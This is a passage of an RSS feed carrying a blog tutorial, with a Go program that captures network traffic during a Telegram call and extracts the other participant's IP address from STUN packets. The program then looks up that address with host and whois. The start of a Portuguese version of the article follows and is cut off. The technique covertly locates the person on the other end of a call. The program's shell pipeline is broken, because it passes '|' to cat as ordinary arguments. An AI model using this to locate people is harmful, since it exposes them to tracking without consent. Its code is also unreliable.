    &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+] Starting traffic capture. Please wait for"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CAP_DURATION&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"seconds..."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c"&gt;// Start traffic capture with Wireshark&lt;/span&gt;
    &lt;span class="n"&gt;captureCmd&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"tshark"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"-w"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CAP_PATH&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"-a"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"duration:"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;CAP_DURATION&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;captureOutput&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;captureCmd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CombinedOutput&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Traffic capture error:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+] Traffic captured."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c"&gt;// Convert pcap file to readable text file&lt;/span&gt;
    &lt;span class="n"&gt;convertCmd&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"tshark"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"-r"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CAP_PATH&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;convertOutput&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;convertCmd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Output&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Error converting pcap file to text:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WriteFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CAP_TEXT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;convertOutput&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;0644&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Error writing text file:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+] Pcap file successfully converted to text."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c"&gt;// Check if Telegram traffic is present in the text file&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;convertOutput&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;"STUN 106"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+] Telegram traffic found."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="c"&gt;// Extract the IP address from the text&lt;/span&gt;
        &lt;span class="n"&gt;extractCmd&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"cat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CAP_TEXT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"|"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"grep"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"STUN 106"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"|"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"sed"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"'s/^.*XOR-MAPPED-ADDRESS: //'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"|"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"awk"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"'{match($0,/[0-9]+&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;.[0-9]+&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;.[0-9]+&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;.[0-9]+/); ip = substr($0,RSTART,RLENGTH); print ip}' | awk '!seen[$0]++'"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;extractOutput&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;extractCmd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Output&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Error extracting IP address:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;TG_OUT&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TrimSpace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;extractOutput&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;IP_1&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fields&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TG_OUT&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;IP_2&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fields&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TG_OUT&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

        &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;

        &lt;span class="c"&gt;// Check if the IP address is ours or the recipient's&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;MY_IP&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;IP_1&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;IP_2&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;MY_IP&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;IP_2&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;IP_1&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"[-] Sorry. IP address not found."&lt;/span&gt;
            &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="c"&gt;// Get host information for the IP address&lt;/span&gt;
        &lt;span class="n"&gt;hostCmd&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"host"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;hostOutput&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;hostCmd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Output&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Error getting host information:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+]"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+] IP Address:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+] Host:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TrimSpace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hostOutput&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
        &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+]"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="c"&gt;// Clean up temporary files&lt;/span&gt;
        &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CAP_PATH&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Cleanup error:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CAP_TEXT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Cleanup error:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+] Cleanup completed."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[-] Telegram traffic not found."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[!]"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[!] Run this script only &amp;gt;&amp;gt;&amp;gt;AFTER&amp;lt;&amp;lt;&amp;lt; the response."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[!]"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[?]"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[?] Run whois"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"? (Y/N): "&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c"&gt;// Check if the user wants to run the whois command&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;answer&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;
    &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Scanln&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;answer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ToUpper&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;answer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;"Y"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;whoisCmd&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"whois"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;whoisOutput&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;whoisCmd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Output&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Error running whois command:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;whoisOutput&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+] Goodbye!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;By using Wireshark and analyzing STUN traffic on Telegram, we can discover the IP address of the user we are interacting with. This information can be useful for various purposes, such as checking the geographical location of the user or identifying potential network issues.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;However, it is important to remember that user privacy should always be respected. The use of these techniques should be done ethically and within legal limits.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;References:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://medium.com/@ibederov_en/find-out-the-ip-address-through-a-call-to-telegram-a899441b1bac" rel="noopener noreferrer"&gt;https://medium.com/@ibederov_en/find-out-the-ip-address-through-a-call-to-telegram-a899441b1bac&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.wireshark.org/" rel="noopener noreferrer"&gt;https://www.wireshark.org/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://go.dev/" rel="noopener noreferrer"&gt;https://go.dev/&lt;/a&gt;&lt;/p&gt;

</description>
      <category>go</category>
      <category>security</category>
      <category>tutorial</category>
      <category>hacking</category>
    </item>
    <item>
      <title>Como descobrir o endereço IP do usuário usando Telegram.</title>
      <dc:creator>Higor Diego</dc:creator>
      <pubDate>Thu, 08 Jun 2023 15:33:02 +0000</pubDate>
      <link>https://forem.com/higordiego/como-descobrir-o-endereco-ip-do-usuario-usando-telegram-4ij0</link>
      <guid>https://forem.com/higordiego/como-descobrir-o-endereco-ip-do-usuario-usando-telegram-4ij0</guid>
      <description>&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkn2v61jvgtnh8ca689e2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkn2v61jvgtnh8ca689e2.png" alt="Ip find telegram"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Se você já se perguntou como funcionam os aplicativos de mensagens, como Telegram e WhatsApp, por trás das conversas, este artigo é para você. Vamos explorar uma maneira de descobrir o endereço IP do usuário com quem estamos interagindo no Telegram, utilizando o poderoso Wireshark, uma ferramenta de análise de tráfego de rede.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Passo 1:&lt;/strong&gt; Baixando o Wireshark&lt;/p&gt;

&lt;p&gt;Antes de começar, você precisa baixar e instalar o Wireshark em seu computador. Você pode encontrar o download no &lt;a href="https://www.wireshark.org/" rel="noopener noreferrer"&gt;site oficial do Wireshark&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;Certifique-se de escolher a versão compatível com o seu sistema operacional.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Passo 2:&lt;/strong&gt; Filtrando o Tráfego STUN&lt;/p&gt;

